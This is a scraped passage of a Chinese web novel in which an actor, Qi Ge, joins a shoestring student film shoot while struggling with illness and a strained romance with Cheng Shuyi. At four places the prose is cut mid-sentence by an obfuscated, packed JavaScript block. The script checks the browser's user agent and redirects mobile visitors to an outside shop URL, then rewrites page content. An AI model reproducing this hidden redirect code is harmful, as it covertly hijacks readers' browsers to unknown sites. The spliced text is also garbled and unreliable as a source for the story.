“是不是不舒服了?”她轻声问,“胃疼吗?” 祁歌点点头又摇摇头,闭上眼吸了口气,似乎是用了点力气才把脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578292|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袋从程书仪手心挪走。 程书仪还没来得及松口气,就觉得眼前一黑,这颗脑袋又毫无征兆地降落在了她的肩头。 脸颊和发丝蹭过她的耳朵,有些凉凉的,还有些痒。 这是一个拥抱。 “……喂,”她放低了声音,不知为什么觉得有点想笑,“别闹了,去睡吧。” 祁歌闻言,猛地抬起头盯着她。 那双眼睛里还闪烁着微光,理应是脆弱易碎的泪弧,这时候却忽然显得锋利起来。 只是那锋芒转瞬即逝,祁歌很快敛了眼神,闷闷应了一声,转身去洗漱。 可程书仪被这一瞬的锋芒击中了似的,有些魂不守舍起来。 她好像突然有点懂祁歌刚才想要什么。 是祁歌之前百般撒娇耍赖想从她这里得到的东西,是纵容,是偏爱,是有求必应,毫无保留。 他现在不再撒娇耍赖了,但他想要的东西没变过。 程书仪自问不是这样一个人。 但祁歌能给,她努努力,也未必不能。 只不过现在懂得似乎有点太晚了,小猫已经生气了,还不知道之后会有多难哄。 程书仪叹了口气。 要是时间能稍稍倒退一点点,就一点点。 她就可以对那颗漂亮的脑袋说:好了,别哭了,我……也很喜欢你。 要不…… 只见祁歌低着头从客卫出来,看都没看她一眼,自顾自进了卧室关上了门。 第二天祁歌直到中午才起,程书仪坐在客厅上下打量着他:“没事吧?头疼吗?” 祁歌摇摇头,对她笑了笑:“今天不上班啊?” “……嗯。”程书仪努力了又努力,还是没能把“我担心你”之类的话说出口。 两个人安安静静吃了会儿饭。 程书仪留意到祁歌吃得很少,劝了两句,说他最近脸色都不好,就算是为了上镜好看也不用瘦成这样。 “我知道啦。”祁歌答应着,夸张地皱起眉头伸出手指掏了掏耳朵。 程书仪瞪着他作势要打:“不耐烦了是吧?” “我可没有,”祁歌笑着虚躲,“程总饶命啊。” 有了这么个小小的玩笑,程书仪才感觉心里松快了点。 “我下个月要进个短期的组。”祁歌细嚼慢咽地说。 “什么组?”程书仪筷子都撂下了,“不会要拍短剧了吧?” “那倒没有,”祁歌说,“反正闲着也是闲着,接了个小活,可能连片酬都没。” 程书仪若有所思:“又是帮朋友救场?” 几年前祁歌的大学同学多半还在行业内,做独立导演什么的。之前若是遇到有戏开不了的情况,喊祁歌去救场,祁歌只要有空多半会去。 只不过这类剧组当然是一穷二白要啥没啥,就算勉强拍完也没什么被人看到的机会。 “不是。”祁歌摇摇头。 也是,随着时间的流逝,没做出什么成绩的那些同学可能大都转行干别的了。 祁歌咽下嘴里的饭,这才认真回答:“是几个还没毕业的学生想做一个关于传统文化的创意小片,如果顺利拍完,可能会送一些小的影展。我还挺喜欢他们的创意,就答应了。” 程书仪没接话。 怎么说,这个草台班子听起来还没祁歌之前的同学靠谱。 但是她深知如果说出自己的评价,祁歌多半会不太开心。 算了,随他吧。 36. 猫卡门 “程书仪。”祁歌将双手交叠放在桌上,看上去谨慎又严肃。 “干什么?”程书仪警惕向后拉开距离。 “我知道你没有之前那么爱我,”祁歌一边说一边抬手制止程书仪想要进行的解释,“这没关系,我要的不过是个机会。我只是希望你不用隐瞒什么。” 程书仪有点莫名其妙:“我隐瞒了什么?” 祁歌非常认真地望着她:“比如,如果觉得我应该做什么,请你直接告诉我就好。” 什么乱七八糟的? 这人的理解和实情简直相差了十万八千里。 程书仪无语地摇摇头。 “首先,我不是觉得你该做什么,是觉得很多事你不必做。”程书仪解释说。 “什么事?滑雪吗?” 看着祁歌无辜眨动的眼睛,程书仪甚至有点怀疑他是故意的:“啊滑雪你确实不该去,但我的意思是……就是你平时不用这么紧张。” 听她这么说,祁歌微不可查地瑟缩了一下,就像被戳到痛处。 程书仪吸了口气试图娓娓道来:“你看,比如说现在家里的家务都有阿姨打理,你不用太上心。” 祁歌垂下眼开始研究桌子的边缘:“好的,这些……不需要我做了是吗?” 程书仪忍不住想叹气:“不是,我知道你想找回我们以前的状态,但也不是说一定要往回看吧……” 祁歌抬起眼来瞥她。 他的神情中竟然有些控诉感。 “……当然了,以前的时候我们也是很好的……”程书仪只得赶快找补一句。 之前怎么没发现这人如此斤斤计较! “所以说,”程书仪决定开始总结陈词,“我觉得你没必要刻意去重复过去的记忆,如果我想要的是当时的感觉,根本就不会想要重新开始。比起那些,我更想知道以后还会不会有更舒适和轻松的关系……因此你大可以随性点,安心把身体照顾好,你本来就是个很好的人,没必要对自己太多要求的。” 祁歌的目光闪了闪:“本来就是……很好的人?” 程书仪连连点头。 “我有什么好?”祁歌问出这句话时,脸上带着笑意。 可那笑意并没到达眼底,也没来得及掩盖起那深深的忐忑。 于是程书仪知道,他不是在开玩笑,而是会真的很在意很在意她的答案。 这让她一时竟然有些不敢答了。 祁歌向来是个非常善解人意的人。 于是他非常利索地接过了话头:“我猜猜,长得帅,演技好,还温柔体贴……” 程书仪被他逗笑了:“没见过这么王婆卖瓜的。” “好了,言归正传,”听起来祁歌也开始为这段对话收尾了,“你真的不对我新的工作发表意见吗?” “啊?” 程书仪陷入呆滞。 合着他开启这段牛头不对马嘴的对话,只是因为自己没有直白批评祁歌的事业选择?! “你……爱听我说那些啊?” “不爱。”祁歌诚实回答。 好的,懂了。程书仪想,看来这人是纯自虐症犯了,令人震撼。 “所以你觉得怎么样?”自虐狂人非常执着地问。 “说实话,”程书仪说,“我当然觉得你应该去争取更好的机会,但是毕竟这么多年过去了,你的事业只是正常推进,并没有太大起色,或许换个努力的方向也好……” 祁歌挑挑眉,伸手掏耳朵。 “你看!”程书仪装作勃然大怒,“才说了两句就不听了!” 祁歌眼睫弯弯地冲她笑。 那部剧杀青之后祁歌这边暂时没太多事,只被零星安排了几个小的商务活动,于是阿远被打发回公司忙别的了。 “呜呜祁哥舍不得你!”阿远抱着他胳膊晃。 “行了别装了,”祁歌好笑地看她,“我下个戏还没影呢,你陪我在家抠脚吗?” 其实祁歌有想过,阿远还年轻,不可能在这种经纪公司做一辈子助理,多半积累了工作经验之后还是要走的。 最好还是不要产生多余的羁绊比较好。 “别担心,哥你这么牛,很快就会有戏拍的。”阿远却还在安慰祁歌,操心他的前途。 祁歌只得点头。 “你要和程姐好好的,需要工具人的话——”阿远拍拍胸脯,“本人当仁不让啊。” “我看你就是想吃瓜。”祁歌一针见血。 可是等到阿远走了之后,祁歌才觉出有个助理的好处。 其实大家都是成年人,日常行程生活也不用人帮忙,但是身边有个人说这说那,时间会变得快很多。 祁歌坐在去往某县城的大巴车上想。 这次要拍摄的是一个还挺有意思的创意,要将一幅古画以动态的形式表现出来。其中祁歌要饰演一位新登科的状元郎,得到了官员宴请,在席上悠然倨傲,自得其乐。 由于没钱租片场,整个场地就在位于附近县城一个非常普通的农家院子里。 祁歌一下车,导演就迎上来热情洋溢地给他讲解:“祁老师辛苦了,您能来真是太好了,我们这个场景还在搭建哈,目前只做好了一部分,而且剧本是没有的,但是我们是基于那幅……” “我知道了,”祁歌笑着和他握手,“你的策划我都看过了,我很喜欢。” “是吧是吧,”导演苍蝇搓手,“说实话我们都没想过你会接,放心吧虽然没有本,但我分镜早就写好了,就等老师入画了,……” 说着,周围一起帮忙的同学都凑过来围观。 “祁老师太帅了,好贴这个角色啊!” “我觉得比画里还要帅啊!” 祁歌还没在剧组被这样对待过,一时有些手足无措。 虽然身周只有还未完成的简陋的片场布景,场地里分工模糊、七手八脚,却人人满溢着热情。 祁歌忽然觉得如果阿远也来,她还挺适合这种场合,和一群志同道合的人一起做自己感兴趣的事。 按照计划,在这里的拍摄期一共有三天,安排的住宿是在附近小镇的一个大车店里。 当天晚上导演就来敲门:“不好意思啊,咱就这条件,您有什么需要都跟我说。” 祁歌正在试戏服,闻言立刻老实交代:“还真有个事儿,你们的道具……应该没多的吧?” 导演一听立改刚才的客气:“啊?什么坏了?!” 祁歌心虚结巴:“帽……帽子。” 说真的,从没有哪个剧组能让他为了弄坏道具心虚成这样。 从画上看,他扮演的这位状元郎身着红袍,头戴官帽,一身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578293|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少年得志的大方气派。 他们片场没有试衣间,祁歌领到衣服就拿回住的地方试。 这种衣服不算太挑身材,祁歌认真穿戴好,准备进洗手间照一下镜子,却错估了帽子两翅的宽度,脑袋在门框上卡了一下。 那帽子的右翅立刻从半中间耷拉了下去。 祁歌这次可算理解猫咪的胡子长度变化会造成事故的原理了。 导演接过战损版帽子看了两眼,表情一下子放松下来。 “这个没事,”他说,“明天我们来处理。” “需要重新买吗?”祁歌还是有点忐忑,“会不会耽误进度?” “不用,”导演说,“这个是我们自己做的。” 他指着帽翅内侧的一道缝线:“这里拆开,把里面的纸板取出来换一个就行,很快的。” “纸板?” 导演理所当然地点头。 这种官帽就算是要买应该也没多少钱,居然是用手工做的,看来剧组预算真的非常堪忧啊 好在危机解除,祁歌有点想笑:“你别说咱这条件还挺方便的,很灵活!” 导演神色又赧然了几分:“哎呀,祁老师多包涵多包涵。” “我比你大几岁,”祁歌认真说,“叫我祁哥就行。你们能看得起我,让我来演这么重要的人物,是我的荣幸。” 不等导演谦让,他又补充说:“以前刚拍戏跑龙套的时候,什么条件没见过,咱们这儿已经很不错了。你的创意很好,我相信你会做出很精彩的片子。” “是吗?”导演立马滔滔不绝起来,“其实给您发的方案算是保守的一版,我不光是要把古画的故事演出来,还想把整个作品用一幅画轴的形式连贯地表现出来,这就需要……” 第二天早上开工时,祁歌已然成为导演“唯一的哥”、“永远的神”。 他趁导演满场乱飞地忙,打着呵欠抓到一个管道具的学生帮他修帽子。 “祁老师没休息好?”那学生动作非常利索,看得人头晕眼花。 “没有,睡晚了。”祁歌说。 其实他上学的时候也和同学一起做过戏,只不过当时一切都更为匆忙,一转眼各奔西东,又忙着试镜和拍戏,竟然从没有过这种“一起做个东西出来”的体验。 这位年轻的导演托人辗转联系到他时,祁歌也是被这种东西吸引了兴趣。 他想跟程书仪讲这些来着,但是他们的对话中有太多没能成功对接的锚点,于是这个小小的心得也终于被淹没在语焉不详的玩笑里。 还是有点可惜的。 祁歌其实很懂程书仪。 她之前总在替他想,催他做,不仅仅是因为她有这个能力,或觉得这事要分一个对错。 这是她对一个人好的方式。 祁歌在其中觉察到的冒犯与压力只是其中的副产品。 对她来说,只要足够努力,就一定会有结果;只要有能力,就可以做出成绩。这当然是对的,只是那时候的祁哥没办法承受这些。 他是这样一个敏感脆弱又懦弱的弱者,但如果能站在程书仪身边,需要做的当然不止这些。 可他还真的没想过,倘若程书仪现在不想要这些了,他该怎么办。 倘若程书仪不再在乎站在自己身边的他是什么样子,还能算爱他吗? 37. 异地恋 “在忙吗?” “还行,一会儿有个会。” “好的,那你先忙。” “有事吗?” “没事啦,回头再聊吧^_^” 祁歌放下手机,脸上笑不出一点。 这几天程书仪好像很忙,虽然对他态度挺好,但看上去确实是没工夫搭理他的闲聊企图。 这才浅浅同住了没两天,就又成异地恋了。祁歌不由叹了口气。 明明早就想好这次不再回避,勇敢去冲,但如今的情况也着实让人有些一筹莫展。 程书仪的想法其实很合理,她向来是笃定的,如今这笃定里又加了点随性,反而让祁歌觉得他们之间的距离又远了点。 总结来说,就是还得贴上去……啊不是,是还得多聊一聊。 祁歌翻了翻自己手机相册里保存下来的想要作为话题的内容:网上的一些社会热点(感觉可能会吵架)、可爱的小猫小狗(程书仪好像没太大兴趣)、最近自己的戏服照片(太简陋了搞不好会被diss)以及一些自己的拍戏小感合集。 感觉最后这个还行。 祁歌精心挑选了几条,然后开始思考是现在发送还是晚一点。 “老师们,咱们先过一下开头这部分的戏吧?”导演手里拿着喇叭在院子里喊。 一时间各个岗位的年轻人都忙活起来:检查布景,检查演员造型,清场……虽然大家基本都是业余的,这会儿居然可以说是有条不紊地工作了起来。 “导演我帽子还没好。”祁歌急急举手。 导演对他比OK:“没事的祁老师,我们这一遍只是走一下看看镜头,不进成片的。” “要拍长镜头?”祁歌问。 他的猜测获得了导演的肯定:“没错!我其实觉得今天都不一定能开机……” “要不给祁老师找个替身?”旁边有人建议。 “哎哎哎别别别我可不是那意思,”祁歌吓得差点跳起来,“我是怕穿帮才问的,角色状态还没找到呢怎么可能要找替身!我贼爱走戏走戏使我快乐……” 这一听就是被网络风评迫害过的结果。 周围一圈人都哈哈大笑起来。 其实影视剧里的长镜头也不一定是一个镜头拍下来,多少还是会找一些剪切点,利用镜头语言精心做出丝滑的剪辑,令人看不出其中接缝而已。 就像这副古画长卷,其实是由好几个场景组成,同样的人物在几个场景中反复出现,并呈现出不同的状态,拼接出一个完整的故事。 祁歌的角色是位意气风发的少年,刚刚斩获状元,应邀来到这位官员府上赴宴。 宴上酒池肉林、歌舞升平的场景自不在话下,为此导演还找了艺术系的学生来表演。 但这幅画还有些更多的东西。 据说在那个朝野倾轧的时代,这位官员是为了自保,不得不做出这副不问时事、沉湎于歌舞。日夜醉生梦死的样子。 至于这位状元郎,算是这位官员请来搭戏的道具,也可能会是他未来的盟友或敌人。 其中分寸并不算好拿捏。 导演的野心很大,他不光是要把古画的故事演出来,还想把整个作品用一幅画轴形式连贯的表现出来。 在他的设想中,画卷从第一个场景开始,慢慢展开在观众面前:嘈杂的人声,酒香与肉香,琵琶与鼓声,轻盈的舞蹈……最后在送客告别的场景结束。 导演虽然年轻,却是个对细节非常执着的人。由于这个场景中有太多东西需要调度,演员的表演也必须准确,他们反复排演了一天,确实基本上都是在解决各种各样的问题,并没真的开机过一次。 什么道具不太对,什么光线没调好,什么走位有问题…… 好在天色渐暗时,由于缺少现在剧组常用的补光装备,导演不得不宣布休息。 祁歌悄悄松了一口气。 他向来不是那种娇气的人,但今天跟大家一起吃的盒饭是真的刷新了剧组伙食难吃纪录。 说真的,这个饭就算是上拼好饭也会被差评的。 本来祁歌随便动了几口米饭就不打算吃了,可周围人多,导演还特意来关照,说今天匆忙,明天一定好好准备餐食云云……让祁歌觉得把没怎么吃过的饭直接扔掉确实有点不礼貌。 于是硬着头皮吃了大半,立竿见影地胃疼了大半天了。 一群年轻人收工也没打算回去,都吵嚷着要在院子里唱歌做游戏聊天,精力多到吓人。 祁歌实在撑不住,悄悄去跟导演讨饶,说前段时间受伤之后过了段老年人作息,现在还没调回来,要先回去睡觉了。 “啊,”导演有些遗憾,“还想着你跟我们一起玩一玩,大家熟一点了会更有凝聚力呢。” 就这么三五天的戏,要凝聚力做什么……祁歌挑眉把腹诽咽回肚子里:“我正好也琢磨琢磨戏。” 他知道今天自己状态不算太好。 祁歌其实是个慢热的人,以往拍戏哪怕是跑个龙套,他也会尽量认真把自己的角色台词逻辑理清。后来能拿到配角和主角时,更是要花很长时间读本,有事没事都泡在片场,试图让自己放松下来,表演得更自如。 这次这种拍摄方式是他第一次接触,确实还有些不能入戏。 这么看来,导演这种精益求精的拍摄方式也挺适合他的。 回到住处后祁歌先给程书仪发了视频邀请,程书仪没接。 “还在忙啊?”他发消息问。 程书仪还是没回。 祁歌艰难卸了妆,用简陋卫生间里的凉水冲了澡,准备上床时电话才响了。 来电人并非程书仪,而是高姐。 “姐?”祁歌有点惊讶,高姐这人在工作方面属于很有原则的那种,没什么急事的话,并不太常在休息时间打电话。 “你这个戏哪天拍完?”高姐问。 祁歌接这个短剧之前跟公司报备过,由于最近也没什么像样工作,在高姐的争取下,就当他做个公益才被批准的。 “最多五天吧,”祁歌答道,“周六我回A市。” 高姐挺高兴:“那正好,周日有个直播活动,之前那个你演配角的剧播完大结局了,要做个观众回馈。” 祁歌在床边坐下:“哦……多少人参加啊,怎么还带上我了?” “这是什么话,”高姐也不知道是在给他打气还是在阴阳怪气,“你的角色很受欢迎的,怎么说也贡献了超过四分之一的流量吧!不过当然了,到时候肯定是以主角为主,你该配合配合,别抢别人风头,人家公司我们惹不起。” 高姐也有惹不起的人,这个脑补让祁歌没忍住笑了一声,又牵动了点胃疼,屏息忍了两秒才续上话:“行,我知道了。” “你最近身体怎么样啊?”高姐敏感地察 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578294|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉到了什么,“不要跟我说那伤还没养好吧?” “噢那个伤没什么事了,我是……”祁歌避重就轻了半天,艰难挑选出脱臼的事坦白从宽,“就是前几天没留神肩膀脱臼了一下,已经安上了!请组织放心。” “你干什么了,肩膀脱臼?”高姐非常好奇地问,隐约一股杀气从字里行间传来。 “嗐就是不小心摔倒了,手撑了一下,寸劲儿它就是……”祁歌打着哈哈苦命应对。 多亏已经是晚上,高姐显然有些懒得深究:“算了我不跟你说了,你自己操点心吧,眼看马上要给你谈进组了,你别给我残了掉链子。” “哎哎哎好好好行行行……”祁歌连连答应。 第二天起床开工时,祁歌才看到程书仪的消息。 他晚上吃了药也还是胃疼到凌晨两点,迷迷糊糊睡了不知道多久,就听到外面有好响亮的公鸡打鸣声,一时甚至难以辨别自己身在何处。 程书仪的消息孤零零显示在屏幕上:“最近忙得好像有点时差了,你有事可以先给我留言。” 我有啥事来着……祁歌迷迷糊糊地想。 哦对了,好像是要分享一些工作感悟。 他打开相册去看自己的备忘录截图,又觉得这些话睡一觉起来再看就变得非常矫情和中二。 还是算了! 祁歌在对话输入框里望着键盘静止了几分钟。 好的,想不出任何新的话题。 要不就…… “你最近在忙什么呢?” 他敲完就点了发送。 说实在的,他其实对程书仪的工作并不太了解。 这个行业不像他所在的文艺行业,随便谁都可以有许多自己的见解和看法,很多问题也没什么统一的标准答案。 在她的领域。程书仪很多时候都是在用自己的专业和经验在做思考和判断,对错都会在后续的结果中显现出来。 就算是程书仪把工作的事分享给祁歌,祁歌也说不出来什么一二三四。 他叹了口气。 诚实点的话,或许在他的内心里,程书仪这时候在和“谁”在一起做事,比在“做什么”更重要些。 但他也不能那么问啊…… 他是个成熟的、大方的、心胸开阔理智懂事的男人!要克制! 到达片场后,祁歌忽然发现他现在的心理状态和戏里的人物竟然也是有共通点的。 一个年纪轻轻就高中状元的人,必定是冰雪聪明,怎会看不出这一场酒宴上的各方斗法。 他没有愤而离席,也没有谦虚客套、假意推拒,更没有当场挑破,而是大大方方地坐在了主客位,享受着被奉在眼前的一切。 初入官场,他没有十全的把握,也无人帮他窥见未来的一隅。 于是他只好接受身遭的一切,暂且出演这没心没肺安然倨傲的小小角色。 那些言不由衷的称赞和奉承,那些转瞬即逝的欢笑与美酒,或许哪天会变成锋利的箭射向他。 但那又如何,他信这寒窗苦读十余载换来的登云梯,会将他送往今天和未来许多未曾去过的地方。 就算是一朝踏错,前功尽弃,也只能算是技不如人,功力未深罢了。 祁歌用这种心态走了两遍戏,感觉这次人物的状态比昨天好了不少。 真是太好了……要是中午能换一种吃的就更好了。 38. 炖猪肉 不同于大组的严格管理,在这个小剧组,演员和工作人员们做什么都很随意。 祁歌甚至不用交手机,因为没人帮忙保管。 会穿帮的东西譬如手机和小电扇什么的,不管是主要演员还是群众演员的,都可以在开拍前急急忙忙塞在自己身上的宽袍大袖里,导演也乐呵呵等大家藏。 这要是换一些要求严格的影视导演,估计早就不耐烦开骂了。 祁歌冷眼看这个剧组的运转,虽然时时处处透着不专业、虽然这没有那也没有、虽然各种困难都要自己艰难解决,但这些人似乎都很快乐。 对他们来说,最初来自“创造”的欢愉还占据着身心。 祁歌当然比任何人都清楚,他们不会永远这样快乐下去。 但此刻的气氛真的有点感染到祁歌,让他也觉得好像活过来了几分。 好像身体的不适也没那么要紧了。 祁歌对身边的演员笑了笑,拒绝了向他递来的冰红茶。 可能昨晚睡得实在太差,这会儿他不但胃痛,头也隐隐地痛起来。 “我们再来一遍?”有演员问。 导演还在那儿跟摄影讨论什么,没空搭理他们,只摆了摆手示意先休息。 于是祁歌和周围的演员一起走到墙根处的阴影里,熟练地蹲下待命。 太熟练了,混了这么多年,归来还是群演。 这里院子的地面是用水泥铺的,此刻在快要中午的阳光照射下反射出层层热浪,直扑面门。 祁歌感觉这热浪好像一点点钻进了脑子里,搞得他有点头昏脑涨。 该不会是中暑了吧?! 他抬手在额上试了下温度,没试出什么所以然。 “祁老师脸色不好啊,”旁边有学生说,“去那边屋里歇会儿吧,里面有电扇。” 祁歌想了想,如果真中暑掉链子的话可能会造成更大麻烦,便顺从地点点头,抬脚进了屋。 在这个年代,这种没有外壳保护、转起来还会“吱嘎吱嘎”的电扇属实不太多了。 祁歌一进来就看到另一位被正经请过来的演员就坐在炕头上,小电扇十分尽责地摇着脑袋。 整个拍摄组一共就俩专业演员,这下在这儿凑齐了。 这位年龄较大的老师饰演作品中的最主要人物,据导演说是学校的表演老师帮忙推荐的。 “现在老头也不好找,这位老师虽然没演过太多主角,但是演了好些年,演技还是绰绰有余的。”导演这么跟祁歌说。 当晚祁歌就自己查了一下,原来这是位做了很多年的龙套老师,入行之前从事过不少工作,退休后才来做群演。 这样的老师一般都是挺厉害的,因为生活经验丰富,在很多桥段会有独到而准确的呈现。 “老师好。”祁歌笑着打了招呼。 “哎,小祁快坐,外面热坏了吧?”这位老师和蔼可亲地说。 “谢谢老师。”祁歌眼前都有点花了,摸着炕沿坐下时差点跌空下去。 “是不是中暑啦?”老师关心地问,“喝点凉的饮料?” 整个剧组只有唯一一个冰柜,导演每天拜托村里开小卖部的老乡往里面放点小冰砖绿茶红茶之类的,让大家按需自取。 祁歌哪敢喝这些,怕是当场就要胃痉挛。 “没事,”他笑着跟老师摆手,“过来偷懒歇会儿,老师身体还行吗?” 老头骄傲地挺起胸:“我这身体比你们年轻人都好,一直坚持锻炼,今天早上我跑了五公里。” “我也得多锻炼锻炼,向您学习。”祁歌非常认同地说。 他倒是也健身,只不过多在开机前开始突击,拍完肌肉戏之后立刻懈怠。 非常敬业但非常功利。 吱嘎吱嘎的电扇摇到他们这边,送来些许凉风,又吱嘎吱嘎地摇走了。 祁歌这会儿缓过来点,站起来想要把电扇的头固定住,一直吹着这边,却被老师制止:“不能一直对着人吹啊娃儿,要生病的。” 还是老年人会养生啊,祁歌乖乖地停了手,坐下来等着被这阵小风临幸。 可能是因为脱离了高温环境,祁歌很快就立竿见影地感觉头疼没那么严重了,人也清醒了不少。 隔壁一阵兵荒马乱的声音便吸引了他的注意。 “……火太小了吧!” “这个锅怎么用?” “……需要去掉皮吗?” 听起来是在做饭? 祁歌坐不住,跟老师说了一声,起身来到隔壁,一掀帘子就看到厨房里一群人围着一个大炉子和一个案板叽叽喳喳地乱忙。 炉子下面塞了两根柴,上面架着一口铁锅。 锅里面还剩了点水,微微冒着烟,水里有些浑浊看着不太干净的样子。 案板上则横七竖八堆着好些食材,似乎是刚被买回来。 “找到了找到了,有酱油。”有个人从外面进来,差点一头撞到祁歌。 一回头,祁歌跟导演面面相觑。 “啊那个……”导演清了清嗓子,“谁找我要酱油来着?这不是找着了,给。” 旁边有人忙忙叨叨地接过来:“什么时候放酱油?” 没有人回答,倒是又有人提出了新的问题:“这个肉要现在切吗?” 祁歌找了一圈,发现问话的人站在门后面,手里拎着长长一条猪肉,像是刚从集市上砍回来的。 忍无可忍。 祁歌扶额两秒,开始直接下达命令:“那边两个男生,把锅拿出去再洗一遍,再重新接半锅凉水。” 那两人看到是他稍微愣了一下,随即看到他身后的导演,便没说什么乖乖把锅抬了出去。 颇有点狐假虎威的感觉。 祁歌弯下腰看了下火,动手挽起袖子:“你们去再准备点柴,等一下要添,其他人去帮忙打水,把菜都洗好。” 他最后接过那条肉:“我来切吧。” 程书仪的消息大概就是在这时候发过来的。 祁歌当然没看到,他忙得分身乏术,一会儿指导焯水,一会儿帮着切菜,还要把调料提前调好,再亲自入油炒糖色。 等到炒完了肉又添上热水开始炖,祁歌才总算松一口气。 太不容易了。 “那个……”导演从门口探进头来,“既然要等它煮一会儿,要不我们……” “啊对对,我马上来。”祁歌抬手用小臂抹了把额上的汗,赶紧转身去洗手,并把后续事项嘱咐给其他人。 ……这顿饭做得,差点忘了自己来干啥的了。 “我们这次开机走一遍!”导演拿着喇叭喊,“顺利的话过完就吃饭!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578295|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然要开机,但多半这次录下的素材也不会用在最终成片里。这会儿光不太对,这部分的场景最理想的情况还是要等黄昏时抢光拍。 但祁歌还是认认真真整理了一下衣袍和官帽,迅速就位待机。 导演喊开机后,不知道为什么,他感觉上午那种头被闷住的闷痛感又来了。 祁歌悄悄用指甲掐了掐手心,提醒自己要把注意力集中在表演上。 身体不舒服从来不算是他演戏的阻碍。 相反,他有的时候甚至会“享受”这一点痛意,或许真像程书仪说的,具有某种自虐倾向。 随着音乐扬起,祁歌从这种有点晕晕乎乎的状态抽出了一点迷蒙,再用目光注入眼前载歌载舞的场面之中。 “祁老师这个醉态分寸挺有意思。”拍完这段后导演还夸了一句。 祁歌点点头。 “我倒觉得有点多了,”旁边饰演主角的老师忽然淡然开口,“小祁这个角色,这会儿才刚来不久,要是有个层次更好。” 这幅长卷毕竟不是同一时间发生的,而是随着时间的推移逐渐发展变化的。 那么每个人的状态都会随着时间而发生变化。 祁歌低头思忖几秒,抬起头来对老师笑:“老师您说得对,如果要人物立得住,不能只用同一个状态,要在故事里。谢谢老师提醒。” “没有,”老师谦虚地摆手,“你是专业的,我就是随口说说。” 说是这么说,他们过下一遍时祁歌调整了状态,跟老师的配合果然更顺畅了。老师很是满意,拍完后用力拍了两下祁歌的肩。 差点没把祁歌直接拍地上去。 经历了昨天的超难吃盒饭,今天的猪肉乱炖一上桌就受到了大家的普遍好评。 桌上还有米饭馒头和导演找人去买的一些香肠卤肉,这顿饭大家都吃得非常畅快。 祁歌没什么胃口,兴趣缺缺地吃了几口,低头去看手机。 这时他才看到程书仪的消息,说最近几个朋友过来,晚上聊得比较晚,所以刚起。 又说最近在考察一些之前有想法的产业链,和朋友们一起讨论经验教训,收获不少。 大概是看他没回,程书仪过了一会儿又追加了一条:“怎么这两天没什么动态,拍摄顺利吗?” 祁歌干脆放下筷子专心回复:“还行,就是条件简陋点。” 他把自己拍的村落片场图发给程书仪。 这次程书仪很快回了过来:“有没有不舒服?需不需要给你买点什么?” 这也太了解自己了。 祁歌咬着嘴唇笑:“药我都带了,放心吧。” 程书仪立刻发了视频请求过来。 祁歌端起手机站起来想找个方便的地儿接,没提防刚起身就感觉一直隐隐作痛的脑袋里轰地一下炸开一股剧痛,一时间眼前都黑了,差点没站稳。 好在大家都忙着抢吃的,没人注意到他。 祁歌垂着头匆匆走到屋子里,摸索着坐在了炕沿上。 那股剧烈的痛来得快去得也快,这会儿已经渐渐散去了,取而代之的是盘桓在胸口的恶心感。 祁歌深呼吸了几口,将这种不适压了下去,再拿起手机时,程书仪那边已经挂断了。 手机里冒出了新消息:“又去拍了?注意休息,有空再聊吧。” 39. 不相关 程书仪望着手机里好几段来自祁歌的消息陷入沉思。 不是,这看上去也太像工作汇报了。 也不知道祁歌是哪根筋搭得不对,忽然发了好多消息过来,将最近的拍戏日常事无巨细地讲了一遍。 怪吓人的,她猛一看还以为收到了一篇emo小作文。 其实那种小作文祁歌给她发过一次,就在上一次他们分手那会儿。只不过那时候她比较没有耐心,草草看过,只觉得读不太懂其中情绪,反倒搞得自己心理压力很大,干脆已读不回。 这一次,程书仪有些忐忑地细细读去,发现这些消息的语气似乎都很平淡,并没有任何情绪需要她解读。 有点像如临大敌进了考场,发现考的开卷题。 祁歌只是淡淡讲了自己现在所处的简陋而随意的拍摄环境、导演挺有创意的拍摄思路、置景道具和服装如何穷中有细,以及是怎么在剧组做起了大锅饭等等…… 